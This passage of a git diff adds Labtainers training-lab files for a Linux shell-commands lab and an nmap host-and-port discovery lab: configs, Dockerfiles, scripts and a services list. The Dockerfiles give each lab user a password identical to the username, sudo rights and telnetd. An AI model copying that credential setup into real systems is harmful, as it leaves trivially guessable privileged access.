checklocaloutfile) + logger.debug('cmd is %s' % cmd) + os.system(cmd) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/about.txt new file mode 100644 index 000000000..400368bfc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/about.txt @@ -0,0 +1 @@ +Introduction to Linux and shell commands. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/home_tar.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/home_tar.list new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/start.config new file mode 100644 index 000000000..45a078e87 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/config/start.config @@ -0,0 +1,53 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER nix-commands + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED nix-commands_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER nix-commands + # user name of user who interacts with the container. + USER student + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + X11 YES + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/dockerfiles/Dockerfile.nix-commands.nix-commands.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/dockerfiles/Dockerfile.nix-commands.nix-commands.student new file mode 100644 index 000000000..2d8249132 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/dockerfiles/Dockerfile.nix-commands.nix-commands.student @@ -0,0 +1,55 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +ADD $labdir/$lab.tar.gz $HOME +RUN rm -f $HOME/home.tar +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/Makefile new file mode 100644 index 000000000..491d9ae17 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/Makefile @@ -0,0 +1,6 @@ +nix-commands.pdf: nix-commands.docx + soffice --convert-to pdf nix-commands.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/nix-commands.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/nix-commands.docx new file mode 100755 index 000000000..35a75a3a7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/nix-commands.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/read_first.txt new file mode 100644 index 000000000..522faae17 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/nix-commands.pdf + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/goals.config new file mode 100644 index 000000000..9a463a737 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No automated assessment for this lab + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/shutdown_container b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/shutdown_container new file mode 100755 index 000000000..e5aa6d1f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/_system/sbin/shutdown_container @@ -0,0 +1,4 @@ +#!/bin/bash +PLIST=$(ps aux | grep '[b]ash -l' | awk '{print $2}') +kill $PLIST +kill -9 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nix-commands/nix-commands/sys_tar/sys.tar new file mode 100644 index 000000000..e69de29bb diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/about.txt new file mode 100644 index 000000000..660ad83bd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/about.txt @@ -0,0 +1 @@ +Use of mmap to determine a host IP address and the port number of a service. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/parameter.config new file mode 100644 index 000000000..4f03b6fb0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# + +randport : RAND_REPLACE : friedshrimp:/etc/xinetd.d/ssh;friedshrimp:/etc/services : RANDOM_PORT : 2000 : 3000 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/start.config new file mode 100644 index 000000000..46a8aee7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/config/start.config @@ -0,0 +1,58 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER mycomputer + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED nmap-discovery_chris_master_seed + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# + +# note the gateway is on a subnet that mycomputer cannot reach directly +# This keeps the host from showing up in nmap. +NETWORK INTRANET + MASK 172.25.0.0/16 + GATEWAY 172.25.1.101 +# +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER mycomputer + # user name of user who interacts with the container. + USER ubuntu + XTERM INSTRUCTIONS + # + # The number of terminals defaults to 2 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + INTRANET 172.25.0.2 + + +CONTAINER friedshrimp + + USER ubuntu + TERMINALS -1 + INTRANET 172.25.0.5 + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.friedshrimp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.friedshrimp.student new file mode 100644 index 000000000..93c886fce --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.friedshrimp.student @@ -0,0 +1,32 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +# +# Example of installing xinetd to manage inetd type system services +# And, installation of rsyslog to cause system logging local to the +# container. +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + telnetd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.mycomputer.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.mycomputer.student new file mode 100644 index 000000000..410140f88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/dockerfiles/Dockerfile.nmap-discovery.mycomputer.student @@ -0,0 +1,22 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG apt_source + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/Makefile new file mode 100644 index 000000000..70f139d21 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/Makefile @@ -0,0 +1,6 @@ +nmapdiscovery.pdf: nmapdiscovery.docx + soffice --convert-to pdf nmapdiscovery.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/nmapdiscovery.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/nmapdiscovery.docx new file mode 100644 index 000000000..6b0ba33c7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/nmapdiscovery.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/read_first.txt new file mode 100644 index 000000000..0c2ac8b8d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/nmapdiscovery.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/fixlocal.sh new file mode 100755 index 000000000..ab3bc5ab4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/fixlocal.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash + +sudo /etc/init.d/xinetd restart diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/services new file mode 100644 index 000000000..d0bd4e2d4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/nmap-discovery/friedshrimp/_system/etc/services @@ -0,0 +1,612 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh RANDOM_PORT/tcp # SSH Remote Login Protocol +ssh RANDOM_PORT/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp +groupwise 1677/tcp +groupwise 1677/udp +l2f 1701/tcp l2tp +l2f 1701/udp l2tp +radius 1812/tcp +radius 1812/udp +radius-acct 1813/tcp radacct # Radius Accounting +radius-acct 1813/udp radacct +msnp 1863/tcp # MSN Messenger +msnp 1863/udp +unix-status 1957/tcp # remstats unix-status server +log-server 1958/tcp # remstats log server +remoteping 1959/tcp # remstats remoteping server +cisco-sccp 2000/tcp # Cisco SCCP +cisco-sccp 2000/udp +search 2010/tcp ndtp +pipe-server 2010/tcp pipe_server +nfs 2049/tcp # Network File System +nfs 2049/udp # Network File System +gnunet 2086/tcp +gnunet 2086/udp +rtcm-sc104 2101/tcp # RTCM SC-104 IANA 1/29/99 +rtcm-sc104 2101/udp +gsigatekeeper 2119/tcp +gsigatekeeper 2119/udp +gris 2135/tcp # Grid Resource Information Server +gris 2135/udp +cvspserver 2401/tcp # CVS client/server operations +cvspserver 2401/udp +venus 2430/tcp # codacon port +venus 2430/udp # Venus callback/wbc interface +venus-se 2431/tcp # tcp side effects +venus-se 2431/udp # udp sftp side effect +codasrv 2432/tcp # not used +codasrv 2432/udp # server port +codasrv-se 2433/tcp # tcp side effects +codasrv-se 2433/udp # udp sftp side effect +mon 2583/tcp # MON traps +mon 2583/udp +dict 2628/tcp # Dictionary server +dict 2628/udp +f5-globalsite 2792/tcp +f5-globalsite 2792/udp +gsiftp 2811/tcp +gsiftp 2811/udp +gpsd 2947/tcp +gpsd 2947/udp +gds-db 3050/tcp gds_db # InterBase server +gds-db 3050/udp gds_db +icpv2 3130/tcp icp # Internet Cache Protocol +icpv2 3130/udp icp +iscsi-target 3260/tcp +mysql 3306/tcp +mysql 3306/udp +nut 3493/tcp # Network UPS Tools +nut 3493/udp +distcc 3632/tcp # distributed compiler +distcc 3632/udp +daap 3689/tcp # Digital Audio Access Protocol +daap 3689/udp +svn 3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp 